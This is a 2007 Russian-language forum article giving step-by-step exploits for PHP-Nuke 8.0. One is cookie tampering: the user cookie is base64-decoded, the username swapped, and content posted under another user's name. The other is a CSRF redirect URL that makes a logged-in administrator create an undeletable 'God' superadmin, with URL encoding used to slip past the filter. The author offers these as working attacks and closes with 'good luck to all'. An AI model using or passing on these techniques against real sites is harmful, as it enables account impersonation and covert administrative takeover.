Некоторые фишки в PhpNuke.

Тема в разделе "Статьи", создана пользователем Anvil, 16 окт 2007.

  1. Anvil
    Anvil Guest
    Я когдато эту статью публиковал, но видно когда был откат в бэкабе её небыло.

    Всем привет.
    Не так давно я скачал PHP-Nuke 8.0 и решил поковыряться в ней.
    И за час я нашёл два прикольных бага, а может и не бага. )
    Сейчас я вам в кратце попробую передать что же я нашёл.

    Явление первое.

    Данная бага позволяет вам публиковать в Nuke всё под чужим или не существующем ником.

    Всё происходит изи за данного куска кода:

    PHP:
    function docookie($setuid, $setusername, $setpass, $setstorynum, $setumode, $setuorder, $setthold, $setnoscore, $setublockon, $settheme, $setcommentmax) {
        
    $info = base64_encode("$setuid:$setusername:$setpass:$setstorynum:$setumode:$setuorder:$setthold:$setnoscore:$setublockon:$settheme:$setcommentmax");
        
    setcookie("user","$info",time()+2592000);
    }
    В данном коде видно что id, name, pass шифруются по алгоритму base64.

    Использование баги.

    1) Логинимся под своим логином.
    2) Выдираем cookie из поля user.
    3) Расшифровываем выдранный код. (Если будут %3D замените на пробелы)
    4) Изменяем ваш логин на другой.
    5) Зашифровываем отредактированное.
    6) Заменяем cookie.
    7) Обновляем страничку, и лицезрим. Везде мы будем видеть что мы авторизовались как подставной пользователь.
    После чего мы можем написать статью. Когда она будет проходить проверку на публикацию админ будит видеть что эту статью написал юзер с подставным логином.
    Пример:

    Код:
    MzpYYWtlcjo4MWRjOWJkYjUyZDA0ZGMyMDAzNmRiZDgzMTNlZDA1NToxMDo6MDowOjA6MDo6NDA5Ng%3D%3D
    
    После расшифровки:

    Код:
    3:Xaker:81dc9bdb52d04dc20036dbd8313ed055:10::0:0:0:0::4096
    
    Где:

    3 – ваше id/
    Xaker – ваш ник.

    81dc9bdb52d04dc20036dbd8313ed055 – хэш.

    Данная бага возникла по той причине что из cookie для сравнения берётся id и pass, а name просто используется из cookie и не проходит проверку.


    Явление второе.

    Донная бага позволяет получить админа в Nuke, который будет считатся базовым.
    Базовый админ – у него отключена в админке кнопка удалить.
    Удалить его можно только вручную через PhpMyAdmin.

    Для того чтобы создать такого админа, надо зделать примерно следующее. Как извесно там есть коталог сайтов, добавляете в него ваш сайт. На сайте ставите переадресацию на

    Код:
    http://localhost/admin.php?add_name=God&add_aid=логин&add_email=маил&add_radminsuper=1&add_pwd=пароль&%6Fp=%41ddAuthor
    
    Разжёвывать что и как не буду. Думаю сами разберётесь.

    В общем надо сделать так чтобы он перешёл по этой ссылке будучи залогининым в админке.

    Из-за этого:

    PHP:
    if((stripos_clone($checkurl,'AddAuthor')) OR (stripos_clone($checkurl,'VXBkYXRlQXV0aG9y')) OR (stripos_clone($checkurl,'QWRkQXV0aG9y')) OR (stripos_clone($checkurl,'UpdateAuthor')) OR (stripos_clone($checkurl, "?admin")) OR (stripos_clone($checkurl, "&admin"))) {
      die(
    "Illegal Operation");
    }
    и этого

    PHP:
    if(!isset($op)) { 
        
    $op = "adminMain"; 
    } elseif((
    $op=="mod_authors" OR $op=="modifyadmin" OR $op=="UpdateAuthor" OR $op=="AddAuthor" OR $op=="deladmin2" OR $op=="deladmin" OR $op=="assignstories" OR $op=="deladminconf") AND ($rname != "God")) {
        die(
    "Illegal Operation");
    }
    Мне пришлось поминять:

    op=A ddAuthor на %6Fp=%41ddAuthor.

    Из-за проверки.

    Создание базового админа происходит из-за того что если параметр add_name будет равен God то этого админа не смогут удалить через админку.

    P.S. Работает на всех версиях. Удачи всем.
    P.P.S. Пишите если что не так.
     
    16 окт 2007
    2 пользователям это понравилось.
Загрузка...